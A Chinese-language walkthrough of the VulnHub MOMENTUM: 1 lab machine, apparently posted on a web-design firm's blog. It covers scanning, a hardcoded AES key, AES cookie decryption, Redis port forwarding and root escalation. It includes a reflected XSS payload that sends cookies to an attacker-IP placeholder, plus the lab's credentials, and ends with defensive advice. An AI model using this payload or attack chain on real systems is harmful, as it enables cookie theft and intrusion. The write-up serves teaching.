尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
VulnHub靶机_MOMENTUM: 1 渗透实战:从XSS到Redis未授权访问的完整攻击链
1. 靶机环境搭建与信息收集MOMENTUM: 1是VulnHub上经典的渗透测试靶机适合初学者练习从Web渗透到内网横向移动的完整攻击链。这个靶机模拟了一个存在XSS漏洞和Redis未授权访问漏洞的Linux服务器环境。我建议使用VirtualBox导入靶机镜像网络模式选择NAT或桥接确保攻击机如Kali Linux与靶机在同一网段。首先用arp-scan快速定位靶机IP。这个命令会扫描本地网络中的所有设备比ping扫描更隐蔽arp-scan -l --interfaceeth0找到靶机IP后假设是192.168.1.107用nmap进行深度扫描。我习惯用以下参数组合既能快速识别服务又不会触发过多告警nmap -sS -sV -T4 -A -p- 192.168.1.107扫描结果显示开放了22(SSH)和80(HTTP)端口。这时可以先用whatweb识别Web框架信息whatweb http://192.168.1.1072. Web应用渗透与XSS漏洞利用访问80端口看到图片展示网站。用dirb扫描目录时发现关键线索dirb http://192.168.1.107 /usr/share/wordlists/dirb/common.txt在/js/main.js文件中发现重要注释/* * AES加密密钥SecretPassphraseMomentum * 使用CryptoJS库进行加密解密操作 */测试发现图片详情页存在反射型XSS漏洞。构造payload获取cookiescriptdocument.locationhttp://攻击机IP/cookie.php?cdocument.cookie/script在攻击机上用nc监听获取加密cookienc -lvnp 80得到的cookie形如U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt3. AES解密与凭证获取使用CryptoJS解密cookie的Node.js示例const CryptoJS require(crypto-js); const ciphertext U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt; const secret SecretPassphraseMomentum; const bytes CryptoJS.AES.decrypt(ciphertext, secret); const plaintext bytes.toString(CryptoJS.enc.Utf8); console.log(解密结果:, plaintext); // 输出auxerre-alienum##解密得到SSH凭证用户名auxerre密码auxerre-alienum##。用ssh登录后在用户目录发现第一个flagssh auxerre192.168.1.107 cat ~/user.txt4. 内网横向与Redis未授权访问查看网络连接时发现关键线索ss -nltup | grep 6379发现Redis服务监听在127.0.0.1:6379。由于Redis默认配置允许本地无认证访问我们可以进行端口转发ssh -L 6379:localhost:6379 auxerre192.168.1.107然后在攻击机上连接Redisredis-cli -h 127.0.0.1 keys * get rootpass获取到root密码后切换用户完成提权su root 密码m0mentum-al1enum## cat /root/root.txt5. 漏洞修复建议这个靶机暴露了两个典型安全问题XSS防御对所有用户输入进行HTML实体编码设置HttpOnly和Secure的Cookie属性使用CSP内容安全策略Redis安全配置# redis.conf关键配置 bind 127.0.0.1 requirepass 复杂密码 rename-command FLUSHALL protected-mode yes在实际渗透测试中这种从Web漏洞到内网权限提升的攻击链非常常见。建议开发者在项目上线前进行完整的安全测试特别是中间件和数据库的默认配置检查。
RELATED

相关推荐

三步搞定音乐歌词批量下载:163MusicLyrics让歌词管理变得如此简单

三步搞定音乐歌词批量下载:163MusicLyrics让歌词管理变得如此简单

三步搞定音乐歌词批量下载:163MusicLyrics让歌词管理变得如此简单 【免费下载链接】163MusicLyrics 云音乐歌词获取处理工具【网易云、QQ音乐】 项目地址: https://gitcode.com/GitHub_Trending/16/163MusicLyrics 你是否曾经花费数小时为心爱的音乐寻找歌词…

📅 2026/10/7 20:36:08
终极指南:10分钟掌握stb单文件库,让C/C++开发效率提升300%

终极指南:10分钟掌握stb单文件库,让C/C++开发效率提升300%

终极指南:10分钟掌握stb单文件库,让C/C开发效率提升300% 【免费下载链接】stb stb single-file public domain libraries for C/C 项目地址: https://gitcode.com/GitHub_Trending/st/stb 还在为C/C项目依赖复杂、配置繁琐而烦恼吗?st…

📅 2026/10/4 14:44:41
从零到一:Altium Designer 19实战PCB设计,嘉立创免费打样全流程解析

从零到一:Altium Designer 19实战PCB设计,嘉立创免费打样全流程解析

1. Altium Designer 19安装与工程创建第一次接触PCB设计的新手可能会被复杂的软件界面吓到,但跟着我的步骤来,你会发现Altium Designer 19(简称AD19)其实很友好。安装包可以在官网下载试用版,或者通过教育邮箱申请免费…

📅 2026/9/9 23:31:29
MORE NEWS

更多资讯

📰

Qwen3-Omni-30B-A3B-Captioner:重塑音频理解的多模态大模型

Qwen3-Omni-30B-A3B-Captioner:重塑音频理解的多模态大模型 导语 阿里达摩院推出的Qwen3-Omni-30B-A3B-Captioner音频细粒度描述模型,通过多模态技术突破传统音频分析局限,为复杂场景下的音频理解提供新范式。 行业现状:音频智能分…

📰

TabFM 1.0.0 PyTorch完全指南:从安装到预测的5分钟快速上手教程

TabFM 1.0.0 PyTorch完全指南:从安装到预测的5分钟快速上手教程 你是否正在寻找一个零样本的表格数据预测解决方案?🤔 想要在5分钟内完成表格数据的分类和回归任务?那么Google Research推出的TabFM 1.0.0 PyTorch版正是你需要的终…

📰

从入门到精通:LTX-2.3-22b-IC-LoRA-Ingredients完整使用指南

从入门到精通:LTX-2.3-22b-IC-LoRA-Ingredients完整使用指南 LTX-2.3-22b-IC-LoRA-Ingredients是基于LTX-2.3-22B基础模型训练的IC-LoRA(in-context LoRA)模型,通过参考表(reference sheet)控制视频生成&a…

📰

JoyAI-Image-Edit-Plus-Diffusers实战教程:10个经典图像编辑案例详解

JoyAI-Image-Edit-Plus-Diffusers实战教程:10个经典图像编辑案例详解 想要掌握AI图像编辑的终极技巧吗?JoyAI-Image-Edit-Plus-Diffusers作为一款强大的图像编辑AI工具,基于先进的Diffusers框架,为用户提供了简单快速的图像处理体…

📰

揭秘IC-LoRA技术:LTX-2.3-22b-IC-LoRA-Ingredients核心原理详解 [特殊字符]

揭秘IC-LoRA技术:LTX-2.3-22b-IC-LoRA-Ingredients核心原理详解 🎬 想要让AI生成的视频角色始终保持一致?LTX-2.3-22b-IC-LoRA-Ingredients项目为你带来了革命性的解决方案!这个基于IC-LoRA(In-Context LoRA&#xff…

📰

Intern-S2-Preview时间序列分析:10个实用地震检测案例终极指南

Intern-S2-Preview时间序列分析:10个实用地震检测案例终极指南 Intern-S2-Preview作为一款350亿参数的科学多模态基础模型,在时间序列分析领域展现出了强大的地震检测能力。本文将为您详细介绍如何利用这一先进AI工具进行高效地震监测,并提供…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬